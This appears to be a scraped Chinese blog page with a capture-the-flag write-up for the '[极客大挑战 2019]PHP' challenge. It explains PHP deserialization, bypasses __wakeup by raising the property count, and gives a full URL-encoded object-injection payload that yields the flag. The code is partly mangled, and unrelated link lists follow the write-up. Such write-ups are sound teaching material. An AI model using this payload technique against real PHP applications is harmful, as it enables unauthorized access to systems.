极客大挑战2019php,[极客大挑战 2019]PHP
标签:spl payload sorry min private lob audio ascii sel
题目上说有备份的好习惯,扫描目录得到www.zip
几个重要php文件内容:
index.php
1 php2 include ‘class.php‘;3 $select = $_GET[‘select‘];4 $res=unserialize(@$select);5 ?>
代码第4行unserialize可能存在反序列化漏洞
class.php
1 php2 include ‘flag.php‘;3 error_reporting(0);4 className{5 private $username = ‘nonono‘;6 private $password = ‘yesyes‘;7
8 public function __construct($username,$password){9 $this->username = $username;10 $this->password = $password;11 }12
13 function__wakeup(){14 $this->username = ‘guest‘;15 }16
17 function__destruct(){18 if ($this->password != 100) {19 echo "NO!!!hacker!!!";20 echo "You name is: ";21 echo $this->username;echo "";22 echo "You password is: ";23 echo $this->password;echo "";24 die();25 }26 if ($this->username === ‘admin‘) {27 global $flag;28 echo $flag;29 }else{30 echo "hello my friend~~sorry i can‘t give you the flag!";31 die();32 }33 }34 }35 ?>
代码第26行如果username为admin便输出flag,从__destruct,__construct,__wakeup可以判断存在反序列化漏洞
php序列化与反序列化
序列化:函数为serialize(),把复杂的数据类型压缩到一个字符串中 数据类型可以是数组,字符串,对象等
反序列化:函数为unserialize(),将字符串转换成变量或对象的过程
常用的内置方法:
__construct():创建对象时初始化,当一个对象创建时被调用
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__destruction():结束时销毁对象,当一个对象销毁时被调用
我们需要将Name类序列化的结果输出
phpclassName{private $username = ‘nonono‘;private $password = ‘yesyes‘;public function __construct($username,$password){$this->username = $username;$this->password = $password;
}
}$a = new Name(‘admin‘,100);$b = serialize($a);echo $b;
输出结果为
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
输出结果中Name和username,Name和password之间是有不可见字符的,因为private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上ascii为0的字符(不可见字符)
另外我们还需要绕过__wakeup方法
在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行
原本:O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
绕过:O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
所以payload为:
?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}
[极客大挑战 2019]PHP
标签:spl payload sorry min private lob audio ascii sel
极客大挑战2019php,[极客大挑战 2019]PHP相关推荐
- DayDayUp:1024节日快乐!程序猿界的颁奖典礼《年度十大程序员极客》正式公布!
DayDayUp:1024节日快乐!程序猿界的颁奖典礼<年度十大程序员极客>正式公布! 导读:程序猿,作为二十一世纪的一种新生"物种",拥有较高的智商.无与伦比的忍耐力 ...
- 极兔爆发的上半年 快递圈大变局
从快递市场的四大阵营(阿里系参股或控股的"通达百".京东系的京东物流.依靠拼多多快速增长的极兔.独立第三方的顺丰+丰网)来看,上半年整个市场已经出现一些变化:强者变得越来越强,弱者 ...
- 在贷款行业中,运营商大数据精准获客,是否真实有效呢
众所周知,金融贷款公司需要许多的客户来开拓市场,但是消费者又不会一个个的积极主动找上门来,仅有累死累活的用广告宣传.电话销售等,预期效果又都不是很理想. 要知道做生意只不过是分为二种,一是积极主动寻找 ...
- 【营销获客一】消费金融大数据营销获客
[营销获客一]消费金融大数据营销获客 一.消费金融的前世今生 1.强监管下的民间借贷蓝海 2.金融危机下的经济增长转型 3.学术导向的推波助澜 4.消费金融的必然诞生 5.实践后的真知 二.以营销认识 ...
- 2012年度十大杰出IT博客之 陈勇
2012年度十大杰出IT博客之 火星人陈勇 个人简介: 曾以技术骨干和项目经理等身份,组织和承担开发了国庆50周年直升机编队指挥系统.空军一基地GPS数据源系统.清华同方CCTV数字电视条件接收系统. ...
- 网络”X客”大集合:博客、维客、奇客、播客、闪客、摩客、威克…
网络"X客"大集合:博客.维客.奇客.播客.闪客.摩客.威克- 此文由风言疯语整理制作,转载请注明出处:http://www.kuangfeng.cn/blog/?p=234 随着 ...
- 无人机行业情况 - 亿航、大疆、极飞
原文:https://zhuanlan.zhihu.com/p/97550979?utm_source=wechat_session 亿航优势:无人机载人 大疆:消费级,行业级中的农业 极飞:行业级中 ...
- 写文章 数据嗨客 | 第2期:线性回归 数据嗨客 | 第2期:线性回归 泊数 泊数 1 年前 普林大数据学院——“机器学习”系列 普林大数据学院依托北京大数据研究院和北京大学,为有需求的企业
数据嗨客 | 第2期:线性回归 泊数 1 年前 普林大数据学院--"机器学习"系列 普林大数据学院依托北京大数据研究院和北京大学,为有需求的企业和用户提供线上线下结合大数据培训服务 ...
- 参加中国十大IT杰出博客
参加中国十大IT杰出博客 投票: http://2010blog.51cto.com/350944
最新文章
- java切换系统输入法_java - 关于Android输入法切换的问题
- 25.智能指针.rs
- nRFgo Studio 和 Nrfjprog 无法找到JLinkARM.dll的解决方法
- mysql-bin.000001文件的来源及处理方法[转]
- ASP.NET的錯誤類型及錯誤處理方式
- 达梦数据库图形化工具
- 关于工信部要求品牌电脑强制预装“绿坝-花季护航”软件
- android实现activity半透明色
- 怎么解决电脑系统故障?
- AJAX 聊天室实现原理终极解析
- 起源地杯青年足球锦标赛
- chromebook刷机_如何以访客身份在Chrome和Chromebook上浏览
- 安装gtsam遇到的错误
- WifiNetworkSelector 走读
- 【华人学者风采】宋晓东 加州大学伯克利分校
- bscroll.js实现html手机端城市列表
- 其他总结(四)--win10手动一小时四小时一天重新打开wifi
- 互联网快讯:孩子王正式登陆深交所创业板;猿辅导转型素质教育;苹果延长AirPods Pro维修计​​​​​​​划
- 基于Java的校园二手交易平台
- 网上的名字测试打分软件准吗,姓名测算软件推荐以及测算过程,名典姓名测试准吗?...
热门文章
- 修改图片颜色 色相 饱和度 亮度 ColorMatrix
- 023递归:这帮小兔崽子
- vim下:wq和ZZ命令还是有区别的
- Some selectors are not allowed in component wxss, including tag name selectors, ID selectors,and...
- 我的女儿二三事(十三)
- 抖音android 语言英语,谁都能抖音教英语吗?
- 一些提高工作效率的黑科技软件和网站
- 2017春招百度实习生面试记录
- Windows mobile PPC,利用tmail.exe发送短信、彩信、邮件
- 剑指offer算法题,输入一个链表,反转链表后,输出新链表的表头。